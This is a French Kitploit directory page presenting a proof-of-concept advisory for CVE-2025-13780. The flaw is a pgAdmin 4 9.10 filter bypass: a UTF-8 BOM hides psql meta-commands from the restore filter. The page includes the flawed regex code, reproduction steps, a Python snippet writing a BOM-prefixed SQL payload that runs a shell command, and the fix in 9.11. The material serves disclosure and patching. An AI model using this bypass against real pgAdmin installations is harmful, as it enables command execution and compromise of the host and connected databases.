Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/zeropwn/pgadmin4-9.10-cve-2025-13780
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleDéveloppement de Charges Utiles
GitHubzeropwn/pgadmin4-9.10-cve-2025-13780

pgadmin4-9.10-CVE-2025-13780

Preuve de concept pour CVE-2025-13780

Voir le dépôt
1411il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

pgadmin4 < 9.11 Exécution de commande via le filtre de méta-commande

Résumé

Le filtre de méta-commande de restauration PLAIN introduit dans pgAdmin dans le cadre du correctif pour l'issue 9320 ne détecte pas les méta-commandes lorsqu'un fichier SQL commence par un Byte Order Mark UTF-8 (EF BB BF) ou d'autres séquences spéciales. Le filtre implémenté utilise la fonction has_meta_commands(), qui scanne les octets bruts à l'aide d'une expression régulière. La regex ne traite pas les octets comme ignorables, donc les méta-commandes telles que ! restent non détectées. Lorsque pgAdmin invoque psql avec --file, psql supprime les octets et exécute la commande. Cela peut entraîner une exécution de commande à distance lors d'une opération de restauration.

Ce contournement affecte le correctif introduit dans le commit 1d397395f75320ca1d4ed5e9ca721c603415e836 (https://github.com/pgadmin-org/pgadmin4/commit/1d397395f75320ca1d4ed5e9ca721c603415e836)

Versions affectées

Confirmé affecté :

  • pgAdmin 9.10 snapshot
    Commit : 63ee81202b65e1e8923eb1b917b49312a6fb7df2 (2025-11-13)

Probablement affecté :

  • Toute version contenant le has_meta_commands() corrigé du commit 1d397395f75320ca1d4ed5e9ca721c603415e836

Atténuation

  • 9.11+ : les restaurations plain s'exécutent en mode restreint de psql (\restrict), les méta-commandes sont donc désormais bloquées par psql lui-même
  • 9.10 : vulnérable au contournement du filtre.

Détails

Emplacement :

  • web/pgadmin/tools/restore/__init__.py
  • Fonction has_meta_commands()

Code pertinent (issu de la version corrigée) :

root@kitploit:~
def has_meta_commands(path, chunk_size=8 * 1024 * 1024):
    pattern = re.compile(br'(^|\n)[ \t]*\\')

    with open(path, "rb") as f:
        prev_tail = b""
        while chunk := f.read(chunk_size):
            data = prev_tail + chunk

            if pattern.search(data):
                return True

            prev_tail = data[-10:]

    return False

Cause racine :

  1. Les fichiers SQL sont ouverts en mode binaire.
  2. La regex ne traite que les espaces et les tabulations comme ignorables avant une barre oblique inverse.
  3. Un BOM UTF-8 (EF BB BF) ou une séquence similaire placée avant la barre oblique inverse empêche la détection.
  4. pgAdmin conclut incorrectement que le fichier ne contient pas de méta-commandes.
  5. psql supprime le BOM lors de la lecture et exécute la méta-commande normalement.

Comportement attendu :

  • Les fichiers SQL contenant des méta-commandes doivent être bloqués quel que soit le BOM.

Comportement réel :

  • Les méta-commandes préfixées par un BOM contournent le filtre et permettent l'exécution.

Étapes de reproduction

Étape 1 : Créer un fichier SQL commençant par un BOM et une méta-commande.

root@kitploit:~
payload = b"\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran\nSELECT 1;\n"
with open("bypass_bom.sql", "wb") as f:
    f.write(payload)

Étape 2 : Vérifier le BOM :

root@kitploit:~
xxd bypass_bom.sql | head -1

Attendu :

root@kitploit:~
ef bb bf 5c 21 ...

Étape 3 : Placer le fichier dans le stockage pgAdmin :

root@kitploit:~
/var/lib/pgadmin/storage/<user>/bypass_bom.sql

Étape 4 : Dans pgAdmin : Restauration -> Format : PLAIN -> sélectionner bypass_bom.sql -> Exécuter

Étape 5 : Vérifier l'exécution :

root@kitploit:~
ls /tmp/bom_ran

Le fichier témoin sans BOM est correctement bloqué.

Preuve de concept (PoC)

Charge utile préfixée par BOM :

root@kitploit:~
\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran
SELECT 1;

Charge utile témoin :

root@kitploit:~
\\! echo SHOULD_BE_BLOCKED
SELECT 1;

Impact

  • Exécution de commande via des méta-commandes.
  • Lecture/écriture arbitraire de fichiers.
  • Compromission complète de l'hôte pgAdmin.
  • Compromission possible des serveurs PostgreSQL connectés.
Télécharger l’outil